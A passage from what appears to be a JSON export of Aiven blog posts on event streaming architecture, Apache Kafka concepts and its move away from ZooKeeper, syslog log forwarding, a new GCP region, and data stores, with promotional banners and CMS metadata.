it can help you with your event streaming solutions:\n\n- [The wisdom of the architect](#the-wisdom-of-the-architect)\n- [Thinking about downtime](#the-inevitability-of-downtime)\n- [Thinking about team impact](#questions-of-team-impact)\n- [Thinking about integrations, tooling, and open source](#building-on-the-shoulders-of-giants-integrations-tooling-and-open-source)\n- [Thinking about total cost of ownership](#total-cost-of-ownership)\n\n## The wisdom of the architect\n“Wisdom” is just a nice word for experienced failure. Or success! But mostly failure.\n\nA software architect is curious about how systems interact, how tools and systems break each other, and what is impacted when (not if!) they do.\n\n----\n**On a technical level:**\n*A software architect looks at how their code impacts other code, as regards performance, resilience and reliability.*\n\n**On a department level:**\n*A software architect looks at how their code impacts other teams, as impacts compatibility, contracts and empowering.*\n\n**On a company level:**\n*A software architect looks at how their code impacts other departments and companies, specifically related to go-to-market impact.*\n\n----\nA software architect will ask more questions than they have answers for. And that’s the way it should be.\n\n- What breaks first if you double your customers overnight?\n- What breaks *last* if you increase your number of customers tenfold overnight?\n- What sort of end-user experience do you want?\n- When an error happens, what do we do? \n- How much does one minute of downtime cost your company?\n\nTo address some of the challenges a software architect faces, you need to learn how to think like an architect. And as you can imagine, we’re going to be asking a lot of questions.\n\n::banner[How have successful companies from a range of industries used a managed data platform as part of their transformation strategy? Check out how they solved their business and technical challenges from our ebook.]{ctaText=\"Grab it here\" ctaLink=\"https://aiven.io/ebook/how-a-cloud-data-platform-can-drive-transformation-in-your-business?utm_source=ebook\u0026utm_medium=internal\u0026utm_campaign=transformation_ebook\u0026utm_content=evaluating-your-event-streaming-needs-the-software-architect-way\" title=\"Transformation is coming\" background=\"https://cdn.sanity.io/images/sczeoy4w/production/0ecde466b48dd7c5f1eec6c81202076315eb0250-2250x2250.png\" theme=\"dark\"}\n\n## The inevitability of downtime\nThe cloud is the future, and it’s got a certain technological mystique due to the fact that so many people “know” what it is (without really knowing). But it is still a box, plugged into a wall somewhere. And failure is a question of *when*, not *if*.\n\nDowntime *will* happen. Are you ready?\n### I can’t believe it’s not downtime\nA wise software architect (or software architect thinker) will read all the fine print in their service-level agreements (SLAs), especially when it comes to downtime.\n\nDid you know, for example, that a lot of the time maintenance windows aren’t counted as downtime at all? And that can make a *critical* difference.\n\nRead that fine print and keep an eye out for exemptions!\n### All the nines\nPay special attention to the uptime nines — and the difference between **obligated** and **observed** uptime. \n\nWhen a company offers 99.9% uptime, 99.99% uptime or 99.999% uptime, it doesn’t seem like a huge difference. But those mean the difference between seconds, minutes, or hours of downtime per year.\n\n3 nines, for example, might mean you’re looking at about 9 hours of downtime per year. 5 nines gets you down to 5 *minutes* a year. That means they’re essentially *contractually agreeing* to about thirty seconds of downtime a month, although of course downtime doesn’t happen like that. One or two major outages a year, however — that’ll do it. This is the level of uptime SLA you see in healthcare, regulated industries, and some financial institutions — where lives, or livelihoods, are on the line.\n\nNow, is that the same as the **observed uptime** — the actual time your systems spend up and running, and not down for various reasons? No. No it isn’t. First, just for example, [there’s the maintenance exemption](#i-cant-believe-its-not-downtime). And some companies will cover their uptime shortfall by handing out credits when they don’t meet their SLA. And that’s not great.\n### When disaster strikes\nIt’s important to have a disaster recovery plan. You *do* have a disaster recovery plan? That’s great! But if you haven’t run a practice disaster scenario and *used that plan*, then you don’t actually have a disaster recovery plan. What you have there is a plan to address what you *think* will probably happen during an outage.\n\nWhat’s going to happen when your system experiences a failure? Is your infrastructure at risk of data loss? Are you *okay* with data loss? Understanding the different potential failure cases and what you’re going to do about them is critical.\n## Questions of team impact\nOf course, through all these concerns of infrastructure stability and keeping the databases running, there’s a key question *everyone* is asking:\n\nHow do you earn money?\n\nIf you’re running Apache Kafka or some other databases yourself, are you earning money by just *being really good at running infrastructure*, or do you pay the bills by providing your customers with the data and value they want?\n\nWhere and how you invest in resources is going to be important to your bottom line.\n\n### Whose headache is this?\nIf you’re going it alone, you’re responsible for ops, reliability, app development … you need a huge, broad foundation of expertise. It changes how you hire talent, and how you plan and build your entire team structure.\n\nWhen you’re working with a vendor or building on a platform, there’s less immediate pressure — but it also puts more responsibility on you to understand what’s expected of *them*, and what’s expected of *you*.\n\nMake sure you have the right expertise. If you don’t have them on staff directly, do you have the right partners or support plan? Always have someone thinking about these:\n\n- Metrics and monitoring\n- Scalability\n- Cost reduction\n- Application architecture\n- Query optimization\n\n### The cost of lost opportunity\nIf you’re responsible for your own ops, you’re responsible for the reliability of your service. You have the final responsibility for juggling the need for uptime against spikes in your traffic or data-load; against unforeseen alerts; against patching your servers and running maintenance. That’s all on you, and you need to know it all.\n\n----\n\n**You can’t deliver revenue-driving features if you’re too busy doing the work that’s not directly earning your company money. Don’t sacrifice developer cycles to ops tasks if you don’t have to. Wherever the ROI makes sense, consider offloading some of that responsibility.**\n\n----\n\n### Other perspectives that impact team efficiency\n\n- **Alice and Bob vs. Stack Overflow**: Out of all the errors and bugs you encounter, how many of them can be solved by going online to Stack Overflow to dig for a solution? And how many of them have to be solved by Alice and Bob, who built that *thing* years ago and are the only ones who know anything about it? Those answers affect your approach to onboarding new developers, and how quickly they can ramp up and start delivering value. \n \n- **Build vs. Buy**: What kind of investment do you need to make , to make this tech work with your current setup? Do you go on doing it yourself, working with the infrastructure you have, or do you start from scratch and get it scalable and stable from the ground up?\n \n- **`gh(T)`**: You may have heard of the *GitHub of T function*. It’s all about searching tech in GitHub — Apache Kafka, Postgres, whatever — and identifying how many repositories are related to that tech, and how many devs are committed to it. This gives you an ecosystem score for that tech. If you can understand that score and its importance, you’ll see how easy it is to hire experts in that tech field directly, or if you need to hire and train.\n\n## Building on the shoulders of giants: integrations, tooling, and open source\nWe’ve looked at:\n\n- How apps are impacted by your decisions\n- How are teams impacted by your decisions\n\nNow we’ll zoom out a bit more, and think about how entire tech departments (engineering, operations, DevOps) are impacted by your decisions and your approach to solution building.\n\nAnd when it comes to building solutions, building on the shoulders of giants is key. What’s ready and waiting, already provided by the ecosystem? You can take advantage of that established foundation, and use it to earn and save (yes, it comes back to money — hey, they don’t call it the bottom line for nothing).\n\n### Proprietary vs. Open Source\nA wise software architect knows how sticky some proprietary software and tooling licenses are. If you want to explore the benefits of another cloud or another tech offering, it can be challenging. You need to make sure you have a backup plan.\n\n### Observability\nBuild observability into your architecture from the start. Observability is a *must*. If an app team or engineering department makes a decision without consulting other teams — DevOps or security, say — it creates blind spots in other teams and processes. And when your teams are working blind, problems arise.\n\n### Security and governance\n**Streaming data** – data collected in real time and dashboards that reflect your up-to-the-second business reality – is more valuable than gold in today’s tech environment. And ensuring that your customers can be confident in your handling of their personal information, or their data usage, is critical.\n\nDon’t overlook the importance of quality control. Testing is an important part of a functional infrastructure. Remember how we said that without a disaster, your disaster recovery plan is basically just a fairy story? Well, without testing, your system stability is a joke — there, we said it.\n\n## Total Cost of Ownership\nAnd now we’ll zoom *all* the way out:\n\n- Your company and its overall scalability\n- Your company’s place in its broader industry\n- The ways *you* can push the limits of that industry\n\nThe most expensive part of your infrastructure is between the keyboard and the chair. Enable your sprint teams to be fully effective and deliver value. You’re paying for them — like anything else you’re paying for, be smart and get your money’s worth!\n\n**Have a line item for everything.** Networking, tooling, you name it. If a server comes with a price tag, but you don’t know your company’s and customers’ usage patterns, you won’t know whether that server is worth the cost.\n\n**Understand the tooling.** Know whether you have enough expertise at your fingertips. Know what investments to make. And don’t be afraid to ask your big providers for some free credits to experiment with!\n\n### Billing patterns\nNot to name names, but there’s a bit of a trend in startups and how they scale for growth.\n\nWith the annual commits model you pay for access to a given functionality. It can scale alright, but it’s essentially a licensing fee.\n\nIn recent years, it’s become more profitable to take away some of those costs, moving to a usage-based provider instead of a license. On an application ops level, you pay according to the committed or duplicated actions you take. This works fine at the start, but it scales *very* fast, and often unexpectedly.\n\nThe solution is **reserved infrastructure**. You are responsible for capacity planning and understanding your workloads. Purchase plans that meet those needs. It makes price predictability way more manageable.\n\n## So many questions\nWe can’t say what’s going to work for your company. Only you can say that. But hopefully we’ve given you, through the lens of the software architect, a glimpse of the questions you need to ask.\n\n- How often should I re-evaluate my choice of event streaming platforms?\n- When do proprietary software / solutions make sense vs. open source?\n- How much can I outsource? How much *should* I outsource?\n- When does self-management make sense?\n\n### This is the way\n\n::banner[Book an Aiven expert for a chat and find out if you need our managed data infrastructure.]{ctaText=\"Book a demo now\" ctaLink=\"https://aiven.io/book-demo\" title=\"Take the first step today\" background=\"\" theme=\"light\"}\n\n### Want to read more?\n\n- Check out our page about [Aiven for event streaming](https://aiven.io/solutions/aiven-for-event-driven-architecture) and consider booking a brief demo slot with us!\n- Where does event streaming fit into the Internet of Things, you ask? Take a look at Everactive, one of our success stories - and [how their experience can benefit you](https://aiven.io/case-studies/everactive-relies-on-aiven-for-iot-data)\n- Or check out our blog post on [solving problems with event streaming](https://aiven.io/blog/solving-problems-with-event-streaming)\n- Or get an [introduction to event-based programming](https://aiven.io/blog/introduction-to-event-based-programming)\n\n----\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven is available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\nAnd if you just want to find out about our service updates, follow our [changelog](https://aiven.io/changelog). \n\n\n## Further reading\n\n- Get an [introduction to event-based programming](https://aiven.io/blog/introduction-to-event-based-programming)\n\n","categories":[{"_key":"9ff98af9b574","_ref":"5Ry1OHE6tZ0LKPQxJ9XkJd","_type":"reference"}],"mainImage":{"_type":"mainImage","asset":{"_ref":"image-5e10e9fb44436d23b4fc50352d5083b6e56b6240-1567x844-jpg","_type":"reference"}},"publishedAt":"2022-12-16T08:52:52.944Z","related":[{"_key":"c1ae0f60e2e4","_ref":"000de593-35b7-4375-b2d9-400d7b9a043e","_type":"reference"},{"_key":"adffcf3914f8","_ref":"a90eb4e8-6d45-4c1b-b767-22d99d8beefc","_type":"reference"},{"_key":"9ccec7d50e25","_ref":"prVmdI5mrod8V3GrQhEc5","_type":"reference"}],"slug":{"_type":"slug","current":"/blog/evaluating-your-event-streaming-needs-the-software-architect-way"},"subtitle":"Join David Esposito, Recovering Over-Engineer-er, in exploring streaming solutions – and how The Way of the Software Architect is key to tackling them.","title":"Evaluating your event streaming needs, the software architect way"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:39Z","_id":"4CKrpF7BEeleSNnUv68jTf","_rev":"E2EqFgH2t2FE0P1F1sZARp","_type":"post","_updatedAt":"2024-02-27T15:30:17Z","authors":[],"body":"\u003c!--\nworking version in GitHub: \\GitHub\\blog-posts\\posts\\2022\\ed-pillar-kafka\\pillar-kafka.md\ncopy-paste everything into Contentful version for publishing https://app.contentful.com/spaces/q3u27v6lpki8/entries/4CKrpF7BEeleSNnUv68jTf\nDO NOT EDIT IN CONTENTFUL\n--\u003e\n\n## Broker\nAn individual Apache Kafka server. This could be stand-alone, but is usually one of a larger cluster of nodes. The broker is the server that is running Apache Kafka itself, as opposed to any of the surrounding tools (e.g. Apache Kafka Connect).\n\n## Consumer\nAn application which is reading data from Apache Kafka, and often acting upon it in some way. Even the various tooling that is often used with Apache Kafka is ultimately a simple producer or consumer when it’s actually communicating with Apache Kafka.\n## Consumer groups\nMuch like how many Apache Kafka brokers are often clustered together to make a scalable platform, consumers will also usually need to scale beyond a single instance of an application. When multiple copies of an application are running, they somehow need to coordinate which instance is handling which messages - coordination is generally thought of as a hard problem to solve in software. Thankfully, Apache Kafka has a built-in concept of groups of consumers, which can be used to allocate different copies of an application to different partitions and ensure that workloads are spread evenly.\n## Event driven architecture\nApplication architecture built around\n## Event\n(record, message) A single discrete chunk of data, the smallest unit which can be produced onto or consumed from Apache Kafka. A message will always have a “value” (i.e. the body of the message, to use an email analogy) but will often also have a “key” (which should be a quick way to identify something which the message relates to) and “headers” (metadata about the message, similar to email headers, which could be e.g. “From” and “To” and “Date”)\n## Kafka node\nsee Broker\n## Kafka server\nSee Broker\n## Message\nsee Event\n## Partitioning\nWhen dealing with huge amounts of data, often a single server is not enough. This could either be because of total quantity (sometimes disks just aren’t big enough), or because there are so many applications that a single server would get bogged-down with handling all of them. Partitioning is how Apache Kafka splits-up a given topic across multiple servers, whilst always treating a given server as the “leader” of a partition (which is where producers send data for that partition). Partitions is fundamental to how data is “sharded” across multiple servers, and has some important upshots\nreplication happens per partition, and preserving the order of messages is only guaranteed within a partition. When choosing which partition to publish to, an application will almost always use the message’s key (this is usually hidden inside the library), so care must be taken to make the key represent something which you want to keep in the same order (e.g. something like “customer ID” is probably a good choice, so all messages relevant to that customer will be kept in order). Changing the number of partitions may have consequences, as there are consequences both of increasing and decreasing the partition count, so care should be taken when creating a new topic to consider future needs.\n## Producer\nAn application which is writing data into Apache Kafka, and doesn’t care who or what is reading the data. The data could be well-structured, or simple strings of text, and will often have [additional metadata](https://aiven.io/blog/tips-for-designing-payloads) with it to help describe the data itself.\n## Pub/sub\nA messaging architecture, where some applications are publishing messages which are then copied to any other listening applications. This is similar to a radio broadcast, where anyone who is tuned to the correct frequency will hear the audio being sent from a central point. Contrast this with a point-to-point architecture, where the producer and consumer would be directly coupled together and aware of each other. Often the subscribers would need to be listening at the exact moment that a message is published, although not with Apache Kafka, which is near-realtime.\n## Queueing\nA messaging architecture where messages are sent by a producer in a given order, and then at some point they are received by a consumer in the same order that they are sent. In some message brokers, once a message is consumed it is then removed and can never be consumed again, but this is not the case with Apache Kafka - instead, a watermark is kept for each consumer representing the most recent message being read. If the consumer gets interrupted or restarted then it simply picks up from where it left off. This “state” (i.e. “queue position”) can be kept within Apache Kafka itself.\n## Record\nsee Event\n## Replication\nWhen it comes to data, maximum risk happens when there’s only one copy of it. Built-in to Apache Kafka is the ability to replicate data across multiple servers, and keep track of which servers have which data, so that even if a server fails then the data is still preserved. This is configured per topic. Additional controls decide how many copies are in sync when producing messages.\n\n## Topic\nMessages on Apache Kafka are organised into logical channels, or topics. An application will decide which topic it is producing onto or consuming from, and normally have expectations about the message depending on which topic is used. An example could be “sensor-readings” or “kubernetes-logs”. Topics will often be named something human-readable.\n","categories":[{"_key":"5Ry1OHE6tZ0LKPQxJ9XkJd","_ref":"5Ry1OHE6tZ0LKPQxJ9XkJd","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-ec2d86a34aa5ac433aba82e179bbaecf5d6e7b48-1567x844-png","_type":"reference"}},"publishedAt":"2022-03-20T00:00:00.000Z","related":[{"_key":"469ca6fa7358","_ref":"ZIhwh1ZhFnaMv3ZBSp0tp","_type":"reference"},{"_key":"af8274db36be","_ref":"1lXo1w2g8BTdPN9kxrvRFI","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Glossary of important terminology related to Apache Kafka® | Get informed about the fully managed service, deployed in the cloud of your choice!","metaImage":{"alt":"","asset":{"_ref":"image-ec2d86a34aa5ac433aba82e179bbaecf5d6e7b48-1567x844-png","_type":"reference"}},"metaTitle":"Apache Kafka® Key Concepts - An explained Kafka Glossary"},"slug":{"_type":"slug","current":"/blog/apache-kafka-key-concepts"},"subtitle":"A glossary of terms related to Apache Kafka®","title":"Apache Kafka® key concepts"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"1coZt65cutPMxJBDCQfemM","_rev":"ejVwHgKe5k9eDWbchuI0IU","_type":"post","_updatedAt":"2024-07-11T09:15:22Z","authors":[{"_key":"7aLlIDft447BvdfSDjeIdu","_ref":"7aLlIDft447BvdfSDjeIdu","_type":"reference"}],"body":"Due to scalability and duplication issues, Apache Kafka is engaged in the long process of [breaking its dependency on ZooKeeper](https://cwiki.apache.org/confluence/display/KAFKA/KIP-500%3A+Replace+ZooKeeper+with+a+Self-Managed+Metadata+Quorum \"Link to the improvement proposal on Apache.org\"). In this article, we’ll look at how this will change the way that brokers communicate with each other and with Kafka as a whole.\n## Kafka and ZooKeeper today\nWhen setting up an Apache Kafka broker, there are three essential broker configurations that you need to define. The broker needs to be able to know and tell other system elements who it is (broker.id). It needs to know where to write topic data (log.dirs). And it needs to connect to ZooKeeper (zookeeper.connect) in order to join its Apache Kafka system as a productive member. This tells you just how central ZooKeeper currently is for Kafka.\n\nAs a brief recap, an [Apache Kafka](https://aiven.io/blog/what-is-apache-kafka \"Aiven's introductory post on Apache Kafka\") system consists of producers, consumers, brokers and ZooKeeper. \n\n- Producers send records to the core\n- Consumers fetch records from the core\n- Brokers handle all the requests from them and keep data replicated within the cluster. \n\nZooKeeper keeps the whole band in sync. It stores the cluster configuration and maintains cluster membership. Brokers send a regular heartbeat signal to ZooKeeper. If no heartbeat signal arrives, the broker’s ZooKeeper session times out. When this information reaches the controller broker, it triggers a new leader election for all partitions with a leader on that broker. If the timed-out broker was the controller, the other brokers race to take over and a new controller arises. \n### So what’s the problem?\nThere are two rather large issues with the ZooKeeper dependency. Firstly, ZooKeeper is a limitation on Kafka’s extendability. As Kafka clusters get larger, the data that ZooKeeper needs to store increases. Then that data must be loaded periodically from ZooKeeper to Kafka. The larger the cluster, the longer the loading times. And of course, long loading times run the risk of failure in the middle of the operation. This can lead to brokers being left in divergent states, or at worst ZooKeeper not being up to date with the state held in the controller’s memory.\n\nAnother chronic issue is the problem of maintaining two systems without it leading to mistakes and discrepancies. The systems are being independently set up and configured manually. Also, external utilities can modify one system without talking to the other. In both cases, errors are possible and we’d say even likely.\n\nAnd finally, let’s face it, ZooKeeper isn’t the easiest system to maintain. At Aiven we know how, but it’s a steep learning curve for someone wanting to take Kafka into use.\n### After the breakup\nIn the post-ZooKeeper world, Apache Kafka would independently take care of its configuration management. The configuration will be written to a metadata log, and it will contain information about each metadata change: topics, partitions, ISRs, configurations and so on. The log would be written by a [Raft quorum](https://en.wikipedia.org/wiki/Raft_(algorithm) \"Link to the Wikipedia definition of the Raft algorithm\") formed by the controller nodes. The Raft quorum elects a leader, called the active controller, whose job it is to handle all RPCs from the brokers. (Note that changes are planned in Kafka to the Raft model; it will be implemented as pull-based, rather than push.)\n\nEffectively, instead of one single controller, there will be several controllers available to take over if the active controller goes offline. These standby controllers are simply the other nodes in the quorum.\n\nThe brokers fetch the metadata they need from the active controller at regular intervals. These fetches also act as a heartbeat. If a broker hasn’t fetched metadata for a while, the active controller removes the entry for the broker from the cluster metadata.\n\nAs a side note, the new architecture will also enhance the creation and deletion of topics. As long as it’s up to ZooKeeper to maintain the list of topics that have changed, it forms a bottleneck in the system. In the new system, new topics can be created or deleted with just a new entry in the metadata partition.\n## But what does it mean today?\nFor Aiven for Kafka users, the main difference in a ZooKeeper-free Kafka will be improved performance. Over here we’re busy planning and refactoring, but all the changes are under the hood. All you have to do is lean back, sip your coffee and enjoy the freedom of a fully managed Kafka service.\n\nBut maybe you didn’t come here to be told that, but rather to find out more about what is going on with brokers in the latest Kafka release. \n### Raft module\nIn Apache Kafka 2.7, [the core Raft implementation has been added](https://cwiki.apache.org/confluence/display/KAFKA/KIP-595%3A+A+Raft+Protocol+for+the+Metadata+Quorum \"Link to the improvement proposal on Apache.org\"). The new “raft” module contains the core consensus protocol. This has not been fully integrated with the controller yet, but you can test the performance with a standalone server.\n### Inter-broker API\nApache Kafka 2.7 adds a [new inter-broker API to Alter ISR](https://cwiki.apache.org/confluence/display/KAFKA/KIP-497%3A+Add+inter-broker+API+to+alter+ISR \"Link to the improvement proposal on Apache.org\") which gives the controller the exclusive ability to update Leader and ISR state. As a result, the metadata sent by the controller always reflects the latest state, and the leader can reject inconsistent leader and ISR changes. \n\nAlso, after updates it’s no longer necessary to reinitialize the current state. This can reduce shutdown time significantly. \n\nAnd finally, the reassignment of partitions is only complete when new replicas are added to the ISR. Because the controller no longer has to wait for a change notification, the process is quicker.\n### SCRAM configuration API\nIn 2.7 we also see the new [broker-side SCRAM configuration API](https://cwiki.apache.org/confluence/display/KAFKA/KIP-554%3A+Add+Broker-side+SCRAM+Config+API \"Link to the improvement proposal on Apache.org\"). Its job is to remove the ZooKeeper dependency from the process of changing SCRAM settings.\n## Wrapping up\nMoving away from ZooKeeper is a huge deal for Apache Kafka, and will take a long time to accomplish. The latest release takes some further steps in that direction, also impacting the way brokers communicate. The changes are not enormous yet, but are indicative of great things to come. We’ll continue to keep abreast of the latest developments!\n\n**Tip!** Further reading: \n[An introduction to Apache Kafka](https://aiven.io/blog/what-is-apache-kafka \"Aiven's introductory post on Apache Kafka\") by Oskari Saarenmaa\n[5 Benefits of a Kafka-centric microservice architecture](https://aiven.io/blog/5-benefits-of-a-kafka-centric-microservice-architecture \"Aiven's post on using Apache Kafka to set up microservices\")\n\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog/feed.xml) and [blog](https://aiven.io/blog/feed.xml) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.\n\n## Further reading\n\n- [Tips for designing payloads](https://aiven.io/blog/tips-for-designing-payloads)","categories":[{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"alt":"","asset":{"_ref":"image-e22ce2d5de21e626c59280b4490105745e0f022d-1567x844-png","_type":"reference"}},"publishedAt":"2021-02-10T00:00:00.000Z","seo":{"metaDescription":"Kafka is moving away from ZooKeeper, slowly but surely. Find out how this impacts broker communication in the latest versions of Apache Kafka.","metaImage":{"alt":"","asset":{"_ref":"image-e22ce2d5de21e626c59280b4490105745e0f022d-1567x844-png","_type":"reference"}},"metaTitle":"Broker communication in Apache Kafka® 2.7 and beyond"},"slug":{"_type":"slug","current":"/blog/broker-communication-in-kafka-2-7-and-beyond"},"subtitle":"Kafka is moving away from ZooKeeper, slowly but surely. Find out how this impacts broker communication in the latest versions of Apache Kafka.","title":"Broker communication in Apache Kafka® 2.7 and beyond"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"4jbiWBFUOqzS9c3aaRlLVl","_rev":"lESIXfhUM7GwGlQ32bnwrD","_type":"post","_updatedAt":"2024-07-17T11:43:43Z","authors":[{"_key":"LFe7wYXE7xFFvwFXOIwwX","_ref":"LFe7wYXE7xFFvwFXOIwwX","_type":"reference"}],"body":"Last summer, we made some improvements to our default logs view and [released our Aiven logs integration](https://aiven.io/blog/want-greater-command-over-your-service-logs). While these changes provided greater logging visibility and flexibility, there was still one issue:\n\n\u003e What if you were using an external service or running your own logging infrastructure?\n\nWe pride ourselves on the openness of our platform, which is why we did something about it: __you can now send your Aiven service logs to an external monitoring system using the rsyslog protocol.__\n\nAs a result, you can now send Aiven service logs to 3rd-party logging services such as Loggly or Papertrail, or your own syslog service, giving you three logging options. [Check out our help article](https://help.aiven.io/en/articles/2933115-remote-syslog-integration) to learn how to set it up.\n## Wrapping up\n\nYou have three logging options: accessing the [past two days of logs via our Console, API, or CLI](https://aiven.io/docs/platform/howto/list-monitoring#view-service-logs), using our [logs integration](https://help.aiven.io/en/articles/2090163-getting-started-with-elasticsearch-log-integration) to get unlimited retention and benefit from OpenSearch’s capabilities, or our [syslog integration](https://help.aiven.io/en/articles/2933115-remote-syslog-integration) to send them to an external service.\n\nAnd stay tuned, __we will be supporting a fourth option__ pretty soon that has been requested quite often: sending Aiven service logs to external OpenSearch/Elasticsearch databases. To stay up to date, subscribe to our [blog](/blog/feed.xml) and [changelog](https://aiven.io/changelog/feed.xml) RSS feeds, or follow us on [Twitter](https://twitter.com/aiven_io) or [LinkedIn](https://www.linkedin.com/company/aiven/)!\n","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"3hq53G6n8APkncElOzXCgv","_ref":"3hq53G6n8APkncElOzXCgv","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-0504ab50568854ae3c8919615f02de8ece347749-752x405-png","_type":"reference"}},"publishedAt":"2019-04-30T00:00:00.000Z","seo":{"metaDescription":"Aiven customers now have a third way to get their service logs; find out more about it in this post.","metaImage":{"alt":"","asset":{"_ref":"image-0504ab50568854ae3c8919615f02de8ece347749-752x405-png","_type":"reference"}},"metaTitle":"Syslog output supported on the Aiven platform"},"slug":{"_type":"slug","current":"/blog/syslog-output-supported-on-the-aiven-platform"},"subtitle":"Aiven customers now have a third way to get their service logs; find out more about it in this post.","title":"Syslog output supported on the Aiven platform"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"5zWSsGkce6YaXHeGa0ym7I","_rev":"AUoLUkEDo6CVeRx5sqavIr","_type":"post","_updatedAt":"2024-02-09T09:43:07Z","authors":[{"_key":"LFe7wYXE7xFFvwFXOIwwX","_ref":"LFe7wYXE7xFFvwFXOIwwX","_type":"reference"}],"body":"Google recently released its 17th cloud region—__GCP Los Angeles, us-west2.__ According to [TheCHANNELCO](https://www.crn.com/news/cloud/300105701/google-goes-hollywood-tech-giant-launches-17th-cloud-data-center-region-in-los-angeles.htm), Google released the region to better serve film production houses, animation studios, and other content creators.\n\nAs per long-standing Aiven tradition our current and prospective users are among the first to be provided managed Kafka, Cassandra, PostgreSQL, OpenSearch, Redis and Grafana hosted in the new GCP region us-west2.\n\n## What’s interesting about GCP Los Angeles\n\nGCP Los Angeles is a 3-zone region that supports instances utilizing local SSDs and uses the latest generation Intel processors by default, i.e. the Skylake processor, with __CPU performance up to 20% better than the previous generation’s.__\n\nBecause of this chipset, users can deploy instances with up to 96 vCPUs. Local SSD support, a faster chipset, and larger instances should make this region pretty popular for users with high performance needs.\n\n__As the only DBaaS provider supporting local SSDs,__ this is even better news for Aiven users, especially when combining the Skylake’s performance increase with that of [GCP instances using local SSDs](https://aiven.io/blog/postgresql-cloud-performance){:target='\\_blank\"}.\n\n## Wrapping up\n\nAll things equal, us-west2 is another great addition to the GCP Cloud and an even better one for Aiven. It is important to note that your application’s performance is also dependent on other factors, for example where you’re hosting your application.\n\n\u003e That’s why Aiven offers the largest number of regions of any DBaaS provider. This marks __Aiven’s 17th region in and 72nd overall.__\n\nFor users looking for lower latencies for their applications running in and around the Los Angeles region, this may be ideal. Stay tuned for more region releases by joining our [blog](/blog/feed.xml) and [changelog](/changelog/feed.xml) RSS feeds; or, follow us on [Twitter](https://twitter.com/aiven_io) or [LinkedIn](https://www.linkedin.com/company/aiven/). In the meantime, enjoy GCP Los Angeles!\n","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-346303c1b91a7c25ba6617f5bed0c77d64339b17-725x405-png","_type":"reference"}},"publishedAt":"2018-07-17T00:00:00.000Z","seo":{"metaDescription":"GCP Los Angeles marks the 17th GCP region made available on Aiven. Find out why GCP Los Angeles and what it means for Aiven users here.","metaImage":{"alt":"","asset":{"_ref":"image-346303c1b91a7c25ba6617f5bed0c77d64339b17-725x405-png","_type":"reference"}},"metaTitle":"GCP Los Angeles now available on Aiven"},"slug":{"_type":"slug","current":"/blog/gcp-los-angeles-now-available"},"subtitle":"GCP Los Angeles marks the 17th GCP region made available on Aiven. Find out why GCP Los Angeles and what it means for Aiven users here.","title":"GCP Los Angeles now available on Aiven"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"2Os8QCxvmJVabe9W6yGIGy","_rev":"ZgPiUE9lJ1tcRKuFnZGXVx","_type":"post","_updatedAt":"2024-07-11T08:26:09Z","authors":[{"_key":"4DjXzyNMHRsU8hEQ2fIG4i","_ref":"4DjXzyNMHRsU8hEQ2fIG4i","_type":"reference"}],"body":"Imagine all of the possible formats into which you could collect data. And then, imagine what you could do with it. Think of a continuum – on one end is completely structured data, on the other, completely unstructured data.\n\nCoupled with this comes the flexibility of searching that data, but this is where things get interesting. You’d think that the more structured your data is, the more flexible the means of searching it – but then you’d be wrong.\n\nTo understand all of this better, let’s examine the data continuum: from fully-structured to unstructured. From there, we’ll look at the data stores that handle each kind of data. And we’ll consider questions to ask when choosing a data store: even when you may need more than one in your pipeline. But first, let’s start on the structured end of the spectrum.\n\n### Relational database management systems\nOn one end of the continuum, you have **rigorously-structured data**: think of [RDBMS](https://en.wikipedia.org/wiki/Relational_database#RDBMS)es like [PostgreSQL](https://www.postgresql.org/) or [MySQL](https://www.mysql.com/). On this end, you’ll find **transactional data**, where data format is held to the strictest requirements, and records cannot afford to be lost under any circumstances.\n\nIf an incoming event doesn’t strictly meet the criteria, the event will not be stored but rejected, and the database or client will throw an error (a _type incompatibility_ is when data in a specific field doesn’t match the predefined format for that field). So, for example, if a field in a PostgreSQL schema specifies an _integer_ and an incoming event has a _float_ in that space, the incoming event will be rejected.\n\nRDBMSes require [ACID](https://en.wikipedia.org/wiki/ACID) transactions, meaning that all transactions within the database are _atomic_, _consistent_, _isolated_, and _durable_. This explains the rigidity of the SQL query language: transactions cannot break or introduce inconsistencies into other database records, even if it is distributed.\n\nAlso, once specific columns are defined for a table, when inserting data using ```insert into```, in all rows, these fixed columns will be automatically populated to contain at least a ```NULL``` value.\n\n_NOTE: These days, Postgres and MySQL support JSON quite well, making them competitive in some ways with other data stores for semi-structured data._\n\n![image showing data stores along a data continuum from structured to unstructured data](https://cdn.sanity.io/images/sczeoy4w/production/516500627d64aa7eaa9bddb050abd7bddded99bb-2000x488.png)\n\n### Wide-column stores\n[Moving to the right on the continuum](https://aiven.io/blog/an-introduction-to-apache-cassandra), the rules of engagement relax slightly. A _wide-column store_ like [Apache Cassandra](https://cassandra.apache.org/_/index.html) or ScyllaDB allows rows (as minimal units of replication, analogous to _rows as records_ in Postgres) to store a great, but most importantly _variable_ number of columns.\n\nThese are great for the sort of data later to be used in aggregations and statistical analysis where events come in large, occasionally inconsistent 